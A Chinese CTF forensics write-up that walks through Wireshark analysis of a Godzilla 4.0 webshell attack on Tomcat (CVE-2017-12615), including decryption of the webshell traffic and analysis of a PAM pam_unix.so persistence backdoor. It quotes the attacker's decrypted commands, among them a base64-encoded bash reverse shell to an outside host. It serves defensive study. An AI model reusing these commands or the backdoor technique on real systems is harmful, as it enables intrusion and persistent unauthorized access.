原文首发在:先知社区
https://xz.aliyun.com/t/15881
通过本文您能学到什么?
1、wireshark流量分析基本思路
2、哥斯拉4.0流量特征/流量解密
3、linux pam持久化后门分析
希望各位都能有点收获,需要玄机邀请码的后台私信,看到会尽快回复的。
1、黑客的 ip 是什么?
下载附件,pcap 数据包,丢到 wireshark 分析搜索
http
数据包,可以看到攻击 ip 有俩192.168.31.168 / 192.168.31.190
根据源地址进行排序可以看到192.168.31.190
在对192.168.31.168
地址进行目录扫描,190 为黑客 ip
且此处分析除了爆破之外,还有个 hello.jsp
数据包频繁出现,可能为木马文件,此处先不做分析
flag{192.168.31.190}
2、黑客是通过什么漏洞进入服务器的?(提交 CVE 编号)
还是依旧分析http
数据包
此处可以有多种方式进行排序分析,先分析post
或其他少见请求头数据包,或者优先数据量大的数据包
此处按照数据长度进行从上到下排序分析
排序完成后,很快就在一堆404
中发现了PUT
请求的hello.jsp
文件,且刚刚怀疑过木马文件很可能是hello.jsp
文件,因为其数据包在流量中大量重放,别的数据包都是目录遍历只访问一次,这个hello.jsp
很可疑,追踪流分析一下
我透!这数据包一看就有问题,又是密钥又是密码的,跟哥斯拉的木马对比一下,基本差不多,这就是在上传哥斯拉木马到服务器上,木马名称是hello.jsp
哥斯拉jsp木马文件
PUT
请求头是用于上传的,此处应该是用PUT
方法上传jsp
木马文件,直接搜索PUT请求文件上传漏洞
第一个搜到的就是tomcat PUT文件上传漏洞
,漏洞编号是CVE-2017-12615
,因为木马文件是jsp
文件,所以大概就是tomcat
的这个漏洞
大概了解一下这个漏洞,看看vulhub
的靶场案例,意思是可以通过构造恶意的PUT
请求,将恶意文件写入服务器的任意位置
请求成功后,返回的状态码为201
查看wirkshark中,确实存在201
状态码的数据包,点击追踪流看看
可以看到,
201
状态码这个数据包就是PUT /hello.jap
数据包的返回包,确定是tomcat PUT
文件上传漏洞没跑了,提交flag
flag{CVE-2017-12615}
3、黑客上传的木马文件名是什么?(提交文件名)
上传的木马文件2题已经分析过了,就是hello.jsp
文件
flag{hello.jsp}
4、黑客上传的木马连接密码是什么?
可以看2题分析的put
文件上传的数据包
这个pass
的值就是密码:7f0e6f
也可以分析下别的POST /hello.jsp
数据包,可以确认密码就是7f0e6f
flag{7f0e6f}
5、黑客上传的木马解密密钥是什么?
可以看到这里的密钥就是xc的值:1710acba6220f62b
哥斯拉是使用AES加密的 而xc的值符合AES加密密钥的要求,16、24、32字节
flag{1710acba6220f62b}
6、黑客连接 webshell 后执行的第一条命令是什么?
这里使用ABC_123大佬
的蓝队分析研判工具箱
进行哥斯拉数据的解密,感谢大佬免费分享的工具!!!
github地址:https://github.com/abc123info/BlueTeamTools
使用分析工具箱,解密webshell
流量,将5/6
题目的密码和密钥输入其中
wireshark筛选:http && http contains "/hello.jsp"
选择一个数据包追踪数据流:
解密请求包:
解密响应包:
解密所有数据包的流程都差不多,对所有包含/hello.jsp
的数据包,进行解密
wireshark
对数据流筛选tcp.stream eq 45
数据流45解密请求/响应:
getBasicsInfo
FileRoot : /;
CurrentDir : //
CurrentUser : root
ProcessArch : 64
TempDirectory : /opt/apache-tomcat-8.5.19/temp/
DocBase : /opt/apache-tomcat-8.5.19/webapps/ROOT/
RealFile : /opt/apache-tomcat-8.5.19/webapps/ROOT/
servletRequest : 1763462523
servletContext : 1993764884
httpSession : 1001775710
......
数据流46解密请求/响应:
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
4.19.0-25-amd64
数据流47解密请求/响应:
cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName execCommand
uid=0(root) gid=0(root) groups=0(root)
数据流48解密请求/响应:
cmdLine sh -c "cd "/";cat /etc/os-release" 2>&1arg-3 2>&1executableFile shexecutableArgs$ -c "cd "/";cat /etc/os-release" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";cat /etc/os-releasemethodName execCommand
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
数据流49解密请求/响应:
cmdLine & sh -c "cd "/";rmp -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rmp -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rmp -qa | grep pammethodName execCommand
2>&1: 1: 2>&1: rmp: not found
cmdLine sh -c "cd "/";id" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";id" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";idmethodName xecCommand
uid=0(root) gid=0(root) groups=0(root)
数据流50解密请求/响应:
cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand
2>&1: 1: 2>&1: rpm: not found
数据流51解密请求/响应:
cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-====================-============-============-========================================
ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
数据流52解密请求/响应:
cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand
数据流54解密请求/响应:
methodName getFiledirName /
ok
//
wget-log 1 2024-09-19 08:15:47 0 RW
lib 0 2024-09-18 08:06:13 4096 RWX
usr 0 2023-12-25 02:31:52 4096 RWX
lib32 0 2023-12-25 02:31:48 4096 RWX
libx32 0 2023-12-25 02:31:48 4096 RWX
lost+found 0 2023-12-25 02:31:44 16384 RWX
sbin 0 2024-09-18 08:06:06 12288 RWX
vmlinuz 1 2023-08-07 22:35:25 5283136 RW
opt 0 2024-09-19 08:41:28 4096 RWX
mnt 0 2023-12-25 02:31:52 4096 RWX
etc 0 2024-09-19 07:35:49 4096 RWX
root 0 2024-09-19 08:41:48 4096 RWX
srv 0 2023-12-25 02:31:52 4096 RWX
proc 0 2024-09-19 06:29:54 0 RWX
dev 0 2024-09-19 06:29:58 3160 RWX
initrd.img.old 1 2023-12-25 02:32:56 28089917 RW
initrd.img 1 2023-12-25 02:34:12 28246009 RW
vmlinuz.old 1 2020-07-24 14:46:18 5274864 RW
var 0 2023-12-25 02:31:52 4096 RWX
wget-log.1 1 2024-09-19 08:15:47 0 RW
lib64 0 2024-09-18 08:05:13 4096 RWX
media 0 2023-12-25 02:31:45 4096 RWX
boot 0 2023-12-25 02:41:35 1024 RWX
tmp 0 2024-09-19 09:00:35 4096 RWX
run 0 2024-09-19 09:00:35 600 RWX
wget-log.2 1 2024-09-19 08:15:47 0 RW
home 0 2023-12-25 02:43:00 4096 RWX
bin 0 2024-09-19 07:35:48 28672 RWX
sys 0 2024-09-19 06:29:55 0 RWX
数据流55解密请求/响应:
methodName getFiledirName /tmp/
ok
/tmp/
ssh-rJgBkHZMg0 0 2024-09-19 08:30:00 4096 RWX
code-8a1ad303-d54a-4ee6-bf06-79c09e867bed 1 2024-09-19 08:15:43 0 RWX
.XIM-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-vWnAfxielC 0 2024-09-19 08:43:32 4096 RWX
ssh-HqBIxaU2OF 0 2024-09-19 08:15:37 4096 RWX
hsperfdata_root 0 2024-09-19 06:29:59 4096 RWX
systemd-private-fe1119a9e31340ada72ff5bdd7dcb056-systemd-timesyncd.service-wVf4Jf 0 2024-09-19 06:29:59 4096 RWX
1.pcap 1 2024-09-19 09:03:14 1490944 RW
.Test-unix 0 2024-09-19 06:29:59 4096 RWX
.X11-unix 0 2024-09-19 06:29:59 4096 RWX
.ICE-unix 0 2024-09-19 06:29:59 4096 RWX
.font-unix 0 2024-09-19 06:29:59 4096 RWX
ssh-P22RjIKAZ3 0 2024-09-19 08:19:17 4096 RWX
ssh-F8xrTEcjZ2 0 2024-09-19 08:39:58 4096 RWX
ssh-JmgaMLTFgu 0 2024-09-19 08:21:23 4096 RWX
ssh-r6qMz7wlBA 0 2024-09-19 09:00:35 4096 RWX
数据流56解密请求/响应:
关键信息:
fileName /tmp/pam_unix.sofileValue NELF
ok
数据流57解密请求/响应:
cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgs i -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2 _ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand
无返回
好嘟,全部解密完毕后接下来开始分析,拿数据流46进行分析:cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
这条语句在干嘛?总结一下就是
1、打开一个shell(命令行界面):sh
2、切换到根目录(/):cd "/"
3、查看当前系统的内核版本:uname -r
4、将错误信息和正常输出信息合并在一起显示:2>&1
其他执行的命令语句也大同小异,这里就不再过多解释。
回到题目,这题要求获取黑客执行的第一条命令
我们使用wireshark
进行筛选,筛选语句:http && http contains "/hello.jsp"
按照时间排序
直接从前往后看,其中45数据流
的命令getBasicsInfo
是连接哥斯拉时默认运行的,获取服务器环境信息,不是黑客执行的语句,所以第一条执行的语句应该是46数据流
的uname -r
flag{uname -r}
7、黑客连接 webshell 时查询当前 shell 的权限是什么?第一条命令是什么?
查看解密出来的数据,47数据流
中显示执行的是id
命令,权限是root
flag{root}
8、黑客利用 webshell 执行命令查询服务器 Linux 系统发行版本是什么?
常用的查询linux发行版本命令:
lsb_release -a
命令显示Linux标准基础(LSB)的相关信息
包括发行版的名称、版本号等。
cat /etc/*release
命令显示/etc目录下所有以release结尾的文件内容
这些文件通常包含发行版的信息。
cat /etc/issue
命令显示系统的发行版信息,通常包括名称和版本号。
hostnamectl
命令显示系统信息,包括操作系统的名称和版本。
uname -a
显示内核相关信息,包括内核版本,但不会显示发行版的详细信息。
cat /proc/version
显示内核版本信息,类似于uname -r命令
cat /etc/os-release
文件包含系统发行版的详细信息,包括PRETTY_NAME,版本ID等。
跟解密的数据对比下,是48数据流,用的命令是cat /etc/os-release
返回包显示,发行版本是Debian GNU/Linux 10 (buster)
flag{Debian GNU/Linux 10 (buster)}
9、黑客利用 webshell 执行命令还查询并过滤了什么?(提交整条执行成功的命令)
查询并且过滤,大概扫一眼解密出来的数据包执行的命令知道是50数据流执行的命令:rpm -qa | grep pam
返回结果是:2>&1: 1: 2>&1: rpm: not found
服务器没装rpm
rpm命令用于管理 RPM包 的命令行工具,用于查询、安装、删除和验证 RPM 包
这里命令是在查询pam
相关的包,而pam
是 Linux
系统中用于认证和授权的模块化框架,是为了做持久化,感兴趣的可以搜索PAM后门
查阅相关文章
但是题目要求,提交执行成功的命令,再去解密后的数据包中寻找,发现数据流51
似乎也是寻找pam
版本信息,并且成功返回信息dpkg -l libpam-modules:amd64
flag{dpkg -l libpam-modules:amd64}
10、黑客留下后门的反连的 IP 和 PORT 是什么?(IP:PORT)
发现52/57
数据流存在base64
加密
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==
解密后的结果是/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1
这一看就是条反连命令,所以黑客的ip port
是192.168.31.143:1313
flag{192.168.31.143:1313}
11、黑客通过什么文件留下了后门?
查看解密出来的数据包,只有数据流56
跟文件相关,.so
文件是可执行文件,且文件名字叫pam
,之前说过pam
可以用于linux持久化后门制作。
所以留下的后门文件应该是:pam_unix.so
,尝试提交下确定为后门文件没问题
flag{pam_unix.so}
12、黑客设置的后门密码是什么?
要获取到后门密码肯定要对后门文件进行分析,首先将文件从服务器上拷贝下来,反编译分析
上服务器上看,发现/tmp/pam_unix.so
文件不存在
使用find命令查找 find -name *pam_unix.so*
找到了篡改的文件,还有原本的备份文件
查看文件修改时间,确定近期存在修改
将pam_unix.so
文件拷贝下来进行分析
首先这个可以确定是就是写入了个PAM后门
,这个是linux中的可插拔认证模块,像是su,sudo,passwd
命令都会用到PAM
这个PAM
后门简单来说就是替换掉系统原本的pam_unix.so
文件,ssh
登录时候换成自己设的密码登录,对替换后的pam_unix.so
文件ida
反编译后分析
pam_sm_authenticate
是 PAM
(可插拔认证模块)框架中的一个函数,主要用于用户身份验证。这个函数的作用是对用户提供的凭证(如密码)进行验证,通常是在 PAM
模块中实现的。
在pam_sm_authenticate
函数中找到了密码:XJ@123
flag{XJ@123}
13、黑客的恶意 dnslog 服务器地址是什么?
依旧是ida分析,还是pam_sm_authenticate
认证函数
或者查看数据包 用wireshark
搜索dns
,查看靶机ip连接的dns地址
flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
靶场地址:https://xj.edisec.net
后台私信获取玄机邀请码!!!
没及时回复麻烦耐心等一段时间,看到会回复的
原文始发于微信公众号(实战安全研究):【玄机】哥斯拉 4.0 流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论